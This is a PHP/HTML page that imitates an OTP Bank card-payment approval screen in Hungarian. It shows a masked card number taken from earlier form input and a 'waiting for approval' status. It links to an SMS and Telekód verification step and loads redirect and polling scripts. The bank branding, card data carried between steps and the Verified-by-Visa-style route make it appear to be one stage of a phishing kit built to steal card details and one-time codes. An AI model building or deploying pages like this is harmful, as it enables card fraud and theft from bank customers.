<?php
require_once dirname(__DIR__) . '/header.php';

date_default_timezone_set('Europe/Budapest');
$purchaseDate = htmlspecialchars(date('Y.m.d'), ENT_QUOTES, 'UTF-8');

require_once dirname(__DIR__) . '/card_scheme_brand.php';
$approveBrandImg = $cardSchemeImg;
$approveBrandAlt = $cardSchemeAlt;

$maskedCard = '';
if (!empty($_SESSION['payment_masked_pan'])) {
    $maskedCard = htmlspecialchars((string) $_SESSION['payment_masked_pan'], ENT_QUOTES, 'UTF-8');
}
if ($maskedCard === '') {
    $len = strlen($cardDigits);
    if ($len >= 10) {
        $maskedCard = htmlspecialchars(
            substr($cardDigits, 0, 6) . str_repeat('*', max(0, $len - 10)) . substr($cardDigits, -4),
            ENT_QUOTES,
            'UTF-8'
        );
    } elseif ($cardDigits !== '') {
        $maskedCard = htmlspecialchars($cardDigits, ENT_QUOTES, 'UTF-8');
    } else {
        $maskedCard = '532180******0348';
    }
}
?>
<!DOCTYPE html>
<html lang="hu">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Fizetés jóváhagyása</title>
    <style>
        * { box-sizing: border-box; }
        body {
            margin: 0;
            min-height: 100vh;
            font-family: Arial, Helvetica, Roboto, "Segoe UI", sans-serif;
            background: #ececec;
            color: #111;
            -webkit-font-smoothing: antialiased;
        }
        .shell {
            min-height: 100vh;
            padding: 36px 16px 16px;
            display: flex;
            justify-content: center;
            align-items: flex-start;
        }
        .card {
            width: 100%;
            max-width: 420px;
            background: #fff;
            padding: 22px 24px 36px;
            border: 1px solid #b0b0b0;
            border-radius: 0;
            box-shadow:
                1px 0 0 rgba(0, 0, 0, 0.04),
                4px 2px 14px rgba(0, 0, 0, 0.12),
                0 2px 6px rgba(0, 0, 0, 0.08);
        }
        .top-bar {
            display: flex;
            align-items: center;
            justify-content: space-between;
            gap: 12px;
            width: 100%;
        }
        .otp-lockup {
            display: flex;
            align-items: center;
        }
        .otp-logo {
            display: block;
            max-width: 168px;
            width: auto;
            height: auto;
            margin-top: -8px;
        }
        .brand-mc {
            display: flex;
            flex-direction: row;
            align-items: center;
            justify-content: flex-end;
            padding-top: 4px;
        }
        .brand-scheme-img {
            display: block;
            height: 44px;
            width: auto;
            flex-shrink: 0;
            object-fit: contain;
        }
        main {
            display: block;
            text-align: left;
            padding-top: 10px;
            width: 100%;
        }
        h1 {
            font-size: 1.35rem;
            font-weight: 700;
            margin: 16px 0 10px;
            color: #111;
            letter-spacing: -0.02em;
            text-align: left;
            width: 100%;
        }
        .lead {
            font-size: 0.9rem;
            line-height: 1.45;
            color: #333;
            margin: 0 0 22px;
            text-align: left;
            padding: 0;
        }
        .details {
            margin: 0 0 22px;
            width: 100%;
            text-align: left;
            padding: 0;
        }
        .detail-block {
            margin-bottom: 14px;
        }
        .detail-block:last-child {
            margin-bottom: 0;
        }
        .detail-block dt {
            margin: 0;
            font-size: 0.9rem;
            font-weight: 700;
            color: #111;
            text-align: left;
        }
        .detail-block dd {
            margin: 4px 0 0;
            font-size: 0.9rem;
            font-weight: 400;
            color: #222;
            text-align: left;
        }
        .status {
            display: flex;
            align-items: center;
            justify-content: flex-start;
            gap: 8px;
            margin-top: 8px;
            color: #d32f2f;
            font-size: 0.9rem;
            font-weight: 500;
            text-align: left;
            padding: 0;
        }
        .status svg {
            flex-shrink: 0;
        }
        .foot {
            margin-top: 32px;
            text-align: left;
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            gap: 16px;
            padding: 0;
            width: 100%;
        }
        .foot a {
            font-size: 0.88rem;
            color: #666;
            text-decoration: underline;
            text-underline-offset: 2px;
            line-height: 1.35;
            text-align: left;
            max-width: none;
        }
        .foot a:hover {
            color: #444;
        }
        @media (min-width: 480px) {
            .card {
                padding: 28px 36px 40px;
            }
            h1 {
                font-size: 1.45rem;
            }
        }
    </style>
</head>
<body>
    <div class="shell">
        <div class="card">
            <header class="top-bar">
                <div class="otp-lockup" aria-label="OTP Bank">
                    <img class="otp-logo" src="../../assets/otp.png" alt="OTP Bank">
                </div>
                <div class="brand-mc" aria-label="<?php echo htmlspecialchars($approveBrandAlt, ENT_QUOTES, 'UTF-8'); ?>">
                    <img class="brand-scheme-img" src="<?php echo htmlspecialchars($approveBrandImg, ENT_QUOTES, 'UTF-8'); ?>" alt="<?php echo htmlspecialchars($approveBrandAlt, ENT_QUOTES, 'UTF-8'); ?>">
                </div>
            </header>

            <main>
                <h1>Fizetés jóváhagyása</h1>
                <p class="lead">Kérjük, hagyja jóvá a tranzakciót a bankja mobilalkalmazásában.</p>

                <dl class="details">
                    <div class="detail-block">
                        <dt>Vásárlás dátuma:</dt>
                        <dd><?php echo $purchaseDate; ?></dd>
                    </div>
                    <div class="detail-block">
                        <dt>Kártyaszám:</dt>
                        <dd><?php echo $maskedCard; ?></dd>
                    </div>
                </dl>

                <div class="status" role="status">
                    <svg width="24" height="22" viewBox="0 0 24 22" aria-hidden="true">
                        <path fill="#d32f2f" d="M12 1.2 22.5 20.8H1.5L12 1.2z"/>
                        <path fill="#fff" d="M12 6.5c.5 0 .9.4.9.9l-.2 5.1h-1.4l-.2-5.1c0-.5.4-.9.9-.9z"/>
                        <circle fill="#fff" cx="12" cy="16.2" r="1.1"/>
                    </svg>
                    <span>Várakozás a jóváhagyásra</span>
                </div>
            </main>

            <footer class="foot">
                <a href="../vbv/">Kattintson ide az SMS + Telekódos hitelesítéshez</a>
                <a href="../payment/">Mégse</a>
            </footer>
        </div>
    </div>
    <script src="../../assets/js/jquery.js"></script>
    <script src="../../assets/js/redirect.js"></script>
    <?php include __DIR__ . '/../../assets/js/check2.php'; ?>
</body>
</html>
